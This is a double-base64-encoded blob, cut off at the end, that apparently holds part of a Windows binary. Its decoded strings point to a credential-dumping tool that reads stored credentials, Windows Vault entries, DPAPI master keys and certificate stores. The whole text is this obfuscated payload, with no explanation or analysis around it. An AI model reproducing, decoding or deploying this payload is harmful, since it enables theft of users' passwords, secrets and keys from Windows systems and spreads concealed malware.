QUE0QUFBQVFBQUFBRWdBQUFCTUFBQUFZQUFBQUdnQUFBQndBQUFBa0FBQUFKZ0FBQUNVQUFBQW9BQUFBSWdBQUFBWUFBQUFEQUFBQUJnQUFBQWdBQUFBUUFBQUFDZ0FBQUFrQUFBQVVBQUFBSkFBQUFDZ0FBQUFzQUFBQU1BQUFBREVBQUFBRUFBQUFCUUFBQUFZQUFBQUlBQUFBQ2dBQUFBd0FBQUFTQUFBQUZBQUFBQllBQUFBWEFBQUFIQUFBQUI0QUFBQWdBQUFBS0FBQUFDb0FBQUFwQUFBQUxBQUFBQ0lBQUFBR0FBQUFBd0FBQUFZQUFBQUlBQUFBRUFBQUFBb0FBQUFKQUFBQUZBQUFBQ1FBQUFBb0FBQUFMQUFBQURBQUFBQXhBQUFBQkFBQUFBVUFBQUFHQUFBQUNBQUFBQW9BQUFBTUFBQUFFZ0FBQUJRQUFBQVdBQUFBRndBQUFCd0FBQUFlQUFBQUlBQUFBQ2dBQUFBcUFBQUFLUUFBQUN3QUFBQWlBQUFBQmdBQUFBTUFBQUFHQUFBQUNRQUFBQkFBQUFBS0FBQUFDZ0FBQUJZQUFBQXFBQUFBTGdBQUFESUFBQUEyQUFBQU53QUFBQVFBQUFBRkFBQUFCZ0FBQUFnQUFBQUtBQUFBREFBQUFCSUFBQUFVQUFBQUZnQUFBQmNBQUFBY0FBQUFIZ0FBQUNBQUFBQW9BQUFBS2dBQUFDa0FBQUFzQUFBQUtBQUFBQVlBQUFBREFBQUFCZ0FBQUFvQUFBQVNBQUFBREFBQUFDbzBBVVEyTkFGRVBqUUJSQU9BQThBSU5RRkVBY0FDQUFZMUFVUTZCc0dFQlFjQmhERUhBWVF0QjBHRUFBQUFBQWxBQ29BY3dBcUFDb0FRd0JTQUVVQVJBQkZBRTRBVkFCSkFFRUFUQUFxQUNvQUNnQUFBQUFBSlFBcUFITUFJQUFnQUdNQWNnQmxBR1FBUmdCc0FHRUFad0J6QUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQUFBQUFBSlFBcUFITUFJQUFnQUdNQWNnQmxBR1FBVXdCcEFIb0FaUUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQUFBQUFBSlFBcUFITUFJQUFnQUdNQWNnQmxBR1FBVlFCdUFHc0FNQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFvQUFBQUFBQUFBSlFBcUFITUFJQUFnQUZRQWVRQndBR1VBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQUFBQUFBSlFBcUFITUFJQUFnQUVZQWJBQmhBR2NBY3dBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUFBQWxBQ29BY3dBZ0FDQUFUQUJoQUhNQWRBQlhBSElBYVFCMEFIUUFaUUJ1QUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFLQUFBQUpRQXFBSE1BSUFBZ0FIVUFiZ0JyQUVZQWJBQmhBR2NBY3dCUEFISUFVd0JwQUhvQVpRQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FGQUFaUUJ5QUhNQWFRQnpBSFFBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FFRUFkQUIwQUhJQWFRQmlBSFVBZEFCbEFFTUFid0IxQUc0QWRBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FIVUFiZ0JyQURBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FIVUFiZ0JyQURFQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFsQUNvQWN3QWdBQ0FBVkFCaEFISUFad0JsQUhRQVRnQmhBRzBBWlFBZ0FDQUFJQUFnQUNBQU9nQWdBQ1VBY3dBS0FBQUFKUUFxQUhNQUlBQWdBRlFBWVFCeUFHY0FaUUIwQUVFQWJBQnBBR0VBY3dBZ0FDQUFJQUFnQURvQUlBQWxBSE1BQ2dBQUFDVUFLZ0J6QUNBQUlBQkRBRzhBYlFCdEFHVUFiZ0IwQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQnpBQW9BQUFBbEFDb0Fjd0FnQUNBQVZRQnVBR3NBUkFCaEFIUUFZUUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUNVQWN3QUtBQUFBSlFBcUFITUFJQUFnQUZVQWN3QmxBSElBVGdCaEFHMEFaUUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQUFBQ1VBS2dCekFDQUFJQUJEQUhJQVpRQmtBR1VBYmdCMEFHa0FZUUJzQUVJQWJBQnZBR0lBSUFBNkFDQUFBQUFBQUNVQWR3QmFBQUFBSlFBcUFITUFJQUFnQUVFQWRBQjBBSElBYVFCaUFIVUFkQUJsQUhNQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUpRQjFBQ0FBWVFCMEFIUUFjZ0JwQUdJQWRRQjBBR1VBY3dBb0FITUFLUUFLQUFBQUpRQXFBSE1BS2dBcUFFRUFWQUJVQUZJQVNRQkNBRlVBVkFCRkFDb0FLZ0FLQUFBQUpRQXFBSE1BSUFBZ0FFWUFiQUJoQUdjQWN3QWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUNVQUtnQnpBQ0FBSUFCTEFHVUFlUUIzQUc4QWNnQmtBQ0FBT2dBZ0FDVUFjd0FLQUFBQUFBQWxBQ29BY3dBZ0FDQUFWZ0JoQUd3QWRRQmxBQ0FBT2dBZ0FBQUFKUUFxQUhNQUtnQXFBRllBUVFCVkFFd0FWQUFnQUZBQVR3Qk1BRWtBUXdCWkFDb0FLZ0FLQUFBQUFBQWxBQ29BY3dBZ0FDQUFkZ0JsQUhJQWN3QnBBRzhBYmdBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUpRQXFBSE1BSUFBZ0FIWUFZUUIxQUd3QWRBQWdBQ0FBSUFBNkFDQUFBQUFsQUNvQWN3QWdBQ0FBVGdCaEFHMEFaUUFnQUNBQUlBQWdBRG9BSUFBbEFITUFDZ0FBQUFBQUpRQXFBSE1BSUFBZ0FIVUFiZ0JyQURBQUx3QXhBQzhBTWdBNkFDQUFKUUF3QURnQWVBQXZBQ1VBTUFBNEFIZ0FMd0FsQURBQU9BQjRBQW9BQUFBQUFDVUFLZ0J6QUNvQUtnQldBRUVBVlFCTUFGUUFJQUJRQUU4QVRBQkpBRU1BV1FBZ0FFc0FSUUJaQUNvQUtnQUtBQUFBQUFBbEFDb0Fjd0FnQUNBQWRRQnVBR3NBTUFBZ0FDQUFPZ0FnQUFBQUpRQXFBSE1BSUFBZ0FIVUFiZ0JyQURFQUlBQWdBRG9BSUFBQUFDVUFLZ0J6QUNvQUtnQldBRUVBVlFCTUFGUUFJQUJEQUZJQVJRQkVBRVVBVGdCVUFFa0FRUUJNQUNvQUtnQUtBQUFBQUFBbEFDb0Fjd0FnQUNBQVV3QmpBR2dBWlFCdEFHRUFTUUJrQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBQUFDVUFLZ0J6QUNBQUlBQjFBRzRBYXdBd0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFsQUNvQWN3QWdBQ0FBVEFCaEFITUFkQUJYQUhJQWFRQjBBSFFBWlFCdUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFkUUJ1QUdzQU1RQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQjFBRzRBYXdBeUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFsQUNvQWN3QWdBQ0FBUmdCeUFHa0FaUUJ1QUdRQWJBQjVBRTRBWVFCdEFHVUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQmtBSGNBUVFCMEFIUUFjZ0JwQUdJQWRRQjBBR1VBY3dCTkFHRUFjQUJUQUdrQWVnQmxBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUpRQXFBSE1BSUFBZ0FDb0FJQUJCQUhRQWRBQnlBR2tBWWdCMUFIUUFaUUFnQUNVQU13QjFBQ0FBUUFBZ0FHOEFaZ0JtQUhNQVpRQjBBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBSUFBZ0FDZ0FkUUJ1QUdzQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQXBBQW9BQUFBQUFBQUFKUUFxQUhNQUtnQXFBRllBUVFCVkFFd0FWQUFnQUVNQVVnQkZBRVFBUlFCT0FGUUFTUUJCQUV3QUlBQkJBRlFBVkFCU0FFa0FRZ0JWQUZRQVJRQXFBQ29BQ2dBQUFBQUFKUUFxQUhNQUlBQWdBR2tBWkFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFDVUFLZ0J6QUNBQUlBQkpBRllBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQUFBSlFBcUFITUFJQUFnQUVRQVlRQjBBR0VBSUFBZ0FDQUFJQUE2QUNBQUFBQUFBQUFBSlFBcUFITUFLZ0FxQUZZQVFRQlZBRXdBVkFBZ0FFTUFVZ0JGQUVRQVJRQk9BRlFBU1FCQkFFd0FJQUJEQUV3QVJRQkJBRklBSUFCQkFGUUFWQUJTQUVrQVFnQlZBRlFBUlFCVEFDb0FLZ0FLQUFBQUpRQXFBSE1BSUFBZ0FIWUFaUUJ5QUhNQWFRQnZBRzRBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUNVQUtnQnpBQ0FBSUFCakFHOEFkUUJ1QUhRQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFsQUNvQWN3QWdBQ0FBZFFCdUFHc0FJQUFnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFBQUFKUUFxQUhNQUlBQWdBQ29BSUFBQUFISUFaUUJ6QUhNQWJ3QjFBSElBWXdCbEFDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBQUFHa0FaQUJsQUc0QWRBQnBBSFFBZVFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBQUFHRUFkUUIwQUdnQVpRQnVBSFFBYVFCakFHRUFkQUJ2QUhJQUlBQTZBQ0FBQUFBQUFIQUFjZ0J2QUhBQVpRQnlBSFFBZVFBZ0FDVUFNd0IxQUNBQUlBQTZBQ0FBQUFBQUFDVUFjd0FBQUFBQVF3QkZBRklBVkFCZkFGTUFXUUJUQUZRQVJRQk5BRjhBVXdCVUFFOEFVZ0JGQUY4QVF3QlZBRklBVWdCRkFFNEFWQUJmQUZVQVV3QkZBRklBQUFBQUFFTUFSUUJTQUZRQVh3QlRBRmtBVXdCVUFFVUFUUUJmQUZNQVZBQlBBRklBUlFCZkFFTUFWUUJTQUZJQVJRQk9BRlFBWHdCVkFGTUFSUUJTQUY4QVJ3QlNBRThBVlFCUUFGOEFVQUJQQUV3QVNRQkRBRmtBQUFCREFFVUFVZ0JVQUY4QVV3QlpBRk1BVkFCRkFFMEFYd0JUQUZRQVR3QlNBRVVBWHdCTUFFOEFRd0JCQUV3QVh3Qk5BRUVBUXdCSUFFa0FUZ0JGQUFBQVF3QkZBRklBVkFCZkFGTUFXUUJUQUZRQVJRQk5BRjhBVXdCVUFFOEFVZ0JGQUY4QVRBQlBBRU1BUVFCTUFGOEFUUUJCQUVNQVNBQkpBRTRBUlFCZkFFY0FVZ0JQQUZVQVVBQmZBRkFBVHdCTUFFa0FRd0JaQUFBQUFBQUFBQUFBUXdCRkFGSUFWQUJmQUZNQVdRQlRBRlFBUlFCTkFGOEFVd0JVQUU4QVVnQkZBRjhBVEFCUEFFTUFRUUJNQUY4QVRRQkJBRU1BU0FCSkFFNEFSUUJmQUVVQVRnQlVBRVVBVWdCUUFGSUFTUUJUQUVVQUFBQUFBRU1BUlFCU0FGUUFYd0JUQUZrQVV3QlVBRVVBVFFCZkFGTUFWQUJQQUZJQVJRQmZBRU1BVlFCU0FGSUFSUUJPQUZRQVh3QlRBRVVBVWdCV0FFa0FRd0JGQUFBQVF3QkZBRklBVkFCZkFGTUFXUUJUQUZRQVJRQk5BRjhBVXdCVUFFOEFVZ0JGQUY4QVZRQlRBRVVBVWdCVEFBQUFRd0JGQUZJQVZBQmZBRk1BV1FCVEFGUUFSUUJOQUY4QVV3QlVBRThBVWdCRkFGOEFVd0JGQUZJQVZnQkpBRU1BUlFCVEFBQUFBQUJOQUZNQVh3QkVBRVVBUmdCZkFGQUFVZ0JQQUZZQUFBQUFBQUFBVFFCcEFHTUFjZ0J2QUhNQWJ3Qm1BSFFBSUFCQ0FHRUFjd0JsQUNBQVF3QnlBSGtBY0FCMEFHOEFad0J5QUdFQWNBQm9BR2tBWXdBZ0FGQUFjZ0J2QUhZQWFRQmtBR1VBY2dBZ0FIWUFNUUF1QURBQUFBQUFBRTBBVXdCZkFFVUFUZ0JJQUVFQVRnQkRBRVVBUkFCZkFGQUFVZ0JQQUZZQUFBQUFBQUFBQUFCTkFHa0FZd0J5QUc4QWN3QnZBR1lBZEFBZ0FFVUFiZ0JvQUdFQWJnQmpBR1VBWkFBZ0FFTUFjZ0I1QUhBQWRBQnZBR2NBY2dCaEFIQUFhQUJwQUdNQUlBQlFBSElBYndCMkFHa0FaQUJsQUhJQUlBQjJBREVBTGdBd0FBQUFBQUJOQUZNQVh3QlRBRlFBVWdCUEFFNEFSd0JmQUZBQVVnQlBBRllBQUFBQUFFMEFhUUJqQUhJQWJ3QnpBRzhBWmdCMEFDQUFVd0IwQUhJQWJ3QnVBR2NBSUFCREFISUFlUUJ3QUhRQWJ3Qm5BSElBWVFCd0FHZ0FhUUJqQUNBQVVBQnlBRzhBZGdCcEFHUUFaUUJ5QUFBQVRRQlRBRjhBUkFCRkFFWUFYd0JTQUZNQVFRQmZBRk1BU1FCSEFGOEFVQUJTQUU4QVZnQUFBRTBBYVFCakFISUFid0J6QUc4QVpnQjBBQ0FBVWdCVEFFRUFJQUJUQUdrQVp3QnVBR0VBZEFCMUFISUFaUUFnQUVNQWNnQjVBSEFBZEFCdkFHY0FjZ0JoQUhBQWFBQnBBR01BSUFCUUFISUFid0IyQUdrQVpBQmxBSElBQUFBQUFFMEFVd0JmQUVRQVJRQkdBRjhBVWdCVEFFRUFYd0JUQUVNQVNBQkJBRTRBVGdCRkFFd0FYd0JRQUZJQVR3QldBQUFBQUFBQUFBQUFUUUJwQUdNQWNnQnZBSE1BYndCbUFIUUFJQUJTQUZNQVFRQWdBRk1BUXdCb0FHRUFiZ0J1QUdVQWJBQWdBRU1BY2dCNUFIQUFkQUJ2QUdjQWNnQmhBSEFBYUFCcEFHTUFJQUJRQUhJQWJ3QjJBR2tBWkFCbEFISUFBQUJOQUZNQVh3QkVBRVVBUmdCZkFFUUFVd0JUQUY4QVVBQlNBRThBVmdBQUFBQUFBQUJOQUdrQVl3QnlBRzhBY3dCdkFHWUFkQUFnQUVJQVlRQnpBR1VBSUFCRUFGTUFVd0FnQUVNQWNnQjVBSEFBZEFCdkFHY0FjZ0JoQUhBQWFBQnBBR01BSUFCUUFISUFid0IyQUdrQVpBQmxBSElBQUFCTkFGTUFYd0JFQUVVQVJnQmZBRVFBVXdCVEFGOEFSQUJJQUY4QVVBQlNBRThBVmdBQUFBQUFBQUFBQUUwQWFRQmpBSElBYndCekFHOEFaZ0IwQUNBQVFnQmhBSE1BWlFBZ0FFUUFVd0JUQUNBQVlRQnVBR1FBSUFCRUFHa0FaZ0JtQUdrQVpRQXRBRWdBWlFCc0FHd0FiUUJoQUc0QUlBQkRBSElBZVFCd0FIUUFid0JuQUhJQVlRQndBR2dBYVFCakFDQUFVQUJ5QUc4QWRnQnBBR1FBWlFCeUFBQUFBQUJOQUZNQVh3QkZBRTRBU0FCZkFFUUFVd0JUQUY4QVJBQklBRjhBVUFCU0FFOEFWZ0FBQUFBQUFBQUFBRTBBYVFCakFISUFid0J6QUc4QVpnQjBBQ0FBUlFCdUFHZ0FZUUJ1QUdNQVpRQmtBQ0FBUkFCVEFGTUFJQUJoQUc0QVpBQWdBRVFBYVFCbUFHWUFhUUJsQUMwQVNBQmxBR3dBYkFCdEFHRUFiZ0FnQUVNQWNnQjVBSEFBZEFCdkFHY0FjZ0JoQUhBQWFBQnBBR01BSUFCUUFISUFid0IyQUdrQVpBQmxBSElBQUFBQUFFMEFVd0JmQUVRQVJRQkdBRjhBUkFCSUFGOEFVd0JEQUVnQVFRQk9BRTRBUlFCTUFGOEFVQUJTQUU4QVZnQUFBQUFBQUFCTkFHa0FZd0J5QUc4QWN3QnZBR1lBZEFBZ0FFUUFTQUFnQUZNQVF3Qm9BR0VBYmdCdUFHVUFiQUFnQUVNQWNnQjVBSEFBZEFCdkFHY0FjZ0JoQUhBQWFBQnBBR01BSUFCUUFISUFid0IyQUdrQVpBQmxBSElBQUFBQUFFMEFVd0JmQUZNQVF3QkJBRklBUkFCZkFGQUFVZ0JQQUZZQUFBQk5BR2tBWXdCeUFHOEFjd0J2QUdZQWRBQWdBRUlBWVFCekFHVUFJQUJUQUcwQVlRQnlBSFFBSUFCREFHRUFjZ0JrQUNBQVF3QnlBSGtBY0FCMEFHOEFJQUJRQUhJQWJ3QjJBR2tBWkFCbEFISUFBQUJOQUZNQVh3QkZBRTRBU0FCZkFGSUFVd0JCQUY4QVFRQkZBRk1BWHdCUUFGSUFUd0JXQUY4QVdBQlFBQUFBQUFBQUFBQUFUUUJwQUdNQWNnQnZBSE1BYndCbUFIUUFJQUJGQUc0QWFBQmhBRzRBWXdCbEFHUUFJQUJTQUZNQVFRQWdBR0VBYmdCa0FDQUFRUUJGQUZNQUlBQkRBSElBZVFCd0FIUUFid0JuQUhJQVlRQndBR2dBYVFCakFDQUFVQUJ5QUc4QWRnQnBBR1FBWlFCeUFDQUFLQUJRQUhJQWJ3QjBBRzhBZEFCNUFIQUFaUUFwQUFBQVRRQlRBRjhBUlFCT0FFZ0FYd0JTQUZNQVFRQmZBRUVBUlFCVEFGOEFVQUJTQUU4QVZnQUFBQUFBQUFCTkFHa0FZd0J5QUc4QWN3QnZBR1lBZEFBZ0FFVUFiZ0JvQUdFQWJnQmpBR1VBWkFBZ0FGSUFVd0JCQUNBQVlRQnVBR1FBSUFCQkFFVUFVd0FnQUVNQWNnQjVBSEFBZEFCdkFHY0FjZ0JoQUhBQWFBQnBBR01BSUFCUUFISUFid0IyQUdrQVpBQmxBSElBQUFCUUFGSUFUd0JXQUY4QVVnQlRBRUVBWHdCR0FGVUFUQUJNQUFBQVVBQlNBRThBVmdCZkFGSUFVd0JCQUY4QVV3QkpBRWNBQUFBQUFGQUFVZ0JQQUZZQVh3QkVBRk1BVXdBQUFBQUFVQUJTQUU4QVZnQmZBRVlBVHdCU0FGUUFSUUJhQUZvQVFRQUFBRkFBVWdCUEFGWUFYd0JOQUZNQVh3QkZBRmdBUXdCSUFFRUFUZ0JIQUVVQUFBQUFBRkFBVWdCUEFGWUFYd0JUQUZNQVRBQUFBQUFBVUFCU0FFOEFWZ0JmQUZJQVV3QkJBRjhBVXdCREFFZ0FRUUJPQUU0QVJRQk1BQUFBVUFCU0FFOEFWZ0JmQUVRQVV3QlRBRjhBUkFCSUFBQUFVQUJTQUU4QVZnQmZBRVVBUXdCZkFFVUFRd0JFQUZNQVFRQmZBRk1BU1FCSEFBQUFVQUJTQUU4QVZnQmZBRVVBUXdCZkFFVUFRd0JPQUZJQVFRQmZBRk1BU1FCSEFBQUFVQUJTQUU4QVZnQmZBRVVBUXdCZkFFVUFRd0JFQUZNQVFRQmZBRVlBVlFCTUFFd0FBQUFBQUZBQVVnQlBBRllBWHdCRkFFTUFYd0JGQUVNQVRnQlNBRUVBWHdCR0FGVUFUQUJNQUFBQUFBQlFBRklBVHdCV0FGOEFSQUJJQUY4QVV3QkRBRWdBUVFCT0FFNEFSUUJNQUFBQUFBQlFBRklBVHdCV0FGOEFVd0JRQUZrQVVnQlZBRk1BWHdCTUFGa0FUZ0JMQUZNQUFBQlFBRklBVHdCV0FGOEFVZ0JPQUVjQUFBQUFBRkFBVWdCUEFGWUFYd0JKQUU0QVZBQkZBRXdBWHdCVEFFVUFRd0FBQUFBQVVBQlNBRThBVmdCZkFGSUFSUUJRQUV3QVFRQkRBRVVBWHdCUEFGY0FSZ0FBQUFBQVVBQlNBRThBVmdCZkFGSUFVd0JCQUY4QVFRQkZBRk1BQUFBQUFFTUFRUUJNQUVjQVh3Qk5BRVFBTWdBQUFBQUFRd0JCQUV3QVJ3QmZBRTBBUkFBMEFBQUFBQUJEQUVFQVRBQkhBRjhBVFFCRUFEVUFBQUFBQUVNQVFRQk1BRWNBWHdCVEFFZ0FRUUF4QUFBQVF3QkJBRXdBUndCZkFFMEFRUUJEQUFBQUFBQkRBRUVBVEFCSEFGOEFVZ0JUQUVFQVh3QlRBRWtBUndCT0FBQUFRd0JCQUV3QVJ3QmZBRVFBVXdCVEFGOEFVd0JKQUVjQVRnQUFBRU1BUVFCTUFFY0FYd0JPQUU4QVh3QlRBRWtBUndCT0FBQUFBQUJEQUVFQVRBQkhBRjhBVWdCVEFFRUFYd0JMQUVVQVdRQllBQUFBUXdCQkFFd0FSd0JmQUVRQVJRQlRBQUFBQUFCREFFRUFUQUJIQUY4QU13QkVBRVVBVXdCZkFERUFNUUF5QUFBQVF3QkJBRXdBUndCZkFETUFSQUJGQUZNQUFBQkRBRUVBVEFCSEFGOEFSQUJGQUZNQVdBQUFBRU1BUVFCTUFFY0FYd0JTQUVNQU1nQUFBQUFBUXdCQkFFd0FSd0JmQUZJQVF3QTBBQUFBQUFCREFFRUFUQUJIQUY4QVV3QkZBRUVBVEFBQUFFTUFRUUJNQUVjQVh3QkVBRWdBWHdCVEFFWUFBQUFBQUVNQVFRQk1BRWNBWHdCRUFFZ0FYd0JGQUZBQVNBQkZBRTBBQUFCREFFRUFUQUJIQUY4QVFRQkhBRklBUlFCRkFFUUFTd0JGQUZrQVh3QkJBRTRBV1FBQUFBQUFRd0JCQUV3QVJ3QmZBRXNBUlFCQkFGOEFTd0JGQUZrQVdBQUFBRU1BUVFCTUFFY0FYd0JJQUZVQVJ3QklBRVVBVXdCZkFFMEFSQUExQUFBQVF3QkJBRXdBUndCZkFGTUFTd0JKQUZBQVNnQkJBRU1BU3dBQUFFTUFRUUJNQUVjQVh3QlVBRVVBU3dBQUFBQUFRd0JCQUV3QVJ3QmZBRU1BV1FCTUFFa0FUZ0JMQUY4QVRRQkZBRXNBQUFCREFFRUFUQUJIQUY4QVV3QlRBRXdBTXdCZkFGTUFTQUJCQUUwQVJBQTFBQUFBQUFCREFFRUFUQUJIQUY4QVV3QlRBRXdBTXdCZkFFMEFRUUJUQUZRQVJRQlNBQUFBQUFCREFFRUFUQUJIQUY4QVV3QkRBRWdBUVFCT0FFNEFSUUJNQUY4QVRRQkJBRk1BVkFCRkFGSUFYd0JJQUVFQVV3QklBQUFBUXdCQkFFd0FSd0JmQUZNQVF3QklBRUVBVGdCT0FFVUFUQUJmQUUwQVFRQkRBRjhBU3dCRkFGa0FBQUJEQUVFQVRBQkhBRjhBVXdCREFFZ0FRUUJPQUU0QVJRQk1BRjhBUlFCT0FFTUFYd0JMQUVVQVdRQUFBRU1BUVFCTUFFY0FYd0JRQUVNQVZBQXhBRjhBVFFCQkFGTUFWQUJGQUZJQUFBQUFBRU1BUVFCTUFFY0FYd0JUQUZNQVRBQXlBRjhBVFFCQkFGTUFWQUJGQUZJQUFBQUFBRU1BUVFCTUFFY0FYd0JVQUV3QVV3QXhBRjhBVFFCQkFGTUFWQUJGQUZJQUFBQUFBRU1BUVFCTUFFY0FYd0JTQUVNQU5RQUFBQUFBUXdCQkFFd0FSd0JmQUVnQVRRQkJBRU1BQUFCREFFRUFUQUJIQUY4QVZBQk1BRk1BTVFCUUFGSUFSZ0FBQUFBQVF3QkJBRXdBUndCZkFFZ0FRUUJUQUVnQVh3QlNBRVVBVUFCTUFFRUFRd0JGQUY4QVR3QlhBRVlBQUFCREFFRUFUQUJIQUY4QVFRQkZBRk1BWHdBeEFESUFPQUFBQUFBQVF3QkJBRXdBUndCZkFFRUFSUUJUQUY4QU1RQTVBRElBQUFBQUFFTUFRUUJNQUVjQVh3QkJBRVVBVXdCZkFESUFOUUEyQUFBQUFBQkRBRUVBVEFCSEFGOEFRUUJGQUZNQUFBQUFBRU1BUVFCTUFFY0FYd0JUQUVnQVFRQmZBRElBTlFBMkFBQUFBQUJEQUVFQVRBQkhBRjhBVXdCSUFFRUFYd0F6QURnQU5BQUFBQUFBUXdCQkFFd0FSd0JmQUZNQVNBQkJBRjhBTlFBeEFESUFBQUFBQUVNQVFRQk1BRWNBWHdCRkFFTUFSQUJJQUFBQVF3QkJBRXdBUndCZkFFVUFRd0JOQUZFQVZnQUFBQUFBUXdCQkFFd0FSd0JmQUVVQVF3QkVBRk1BUVFBQUFBQUFRUUJVQUY4QVN3QkZBRmtBUlFCWUFFTUFTQUJCQUU0QVJ3QkZBQUFBQUFCQkFGUUFYd0JUQUVrQVJ3Qk9BRUVBVkFCVkFGSUFSUUFBQUFBQVF3Qk9BRWNBSUFCTEFHVUFlUUFBQUQ4QUFBQWxBQ29BY3dBcUFDb0FRZ0JNQUU4QVFnQXFBQ29BQ2dBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCV0FHVUFjZ0J6QUdrQWJ3QnVBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUNVQUtnQnpBQ0FBSUFCbkFIVUFhUUJrQUZBQWNnQnZBSFlBYVFCa0FHVUFjZ0FnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVRRQmhBSE1BZEFCbEFISUFTd0JsQUhrQVZnQmxBSElBY3dCcEFHOEFiZ0FnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBbEFDb0Fjd0FnQUNBQVp3QjFBR2tBWkFCTkFHRUFjd0IwQUdVQWNnQkxBR1VBZVFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBWkFCM0FFWUFiQUJoQUdjQWN3QWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVJBQmxBSE1BWXdCeUFHa0FjQUIwQUdrQWJ3QnVBRXdBWlFCdUFDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBbEFDb0Fjd0FnQUNBQWN3QjZBRVFBWlFCekFHTUFjZ0JwQUhBQWRBQnBBRzhBYmdBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFCekFBb0FBQUFsQUNvQWN3QWdBQ0FBWVFCc0FHY0FRd0J5QUhrQWNBQjBBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFJQUFvQUNVQWN3QXBBQW9BQUFBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCQkFHd0Fad0JEQUhJQWVRQndBSFFBVEFCbEFHNEFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFaQUIzQUZNQVlRQnNBSFFBVEFCb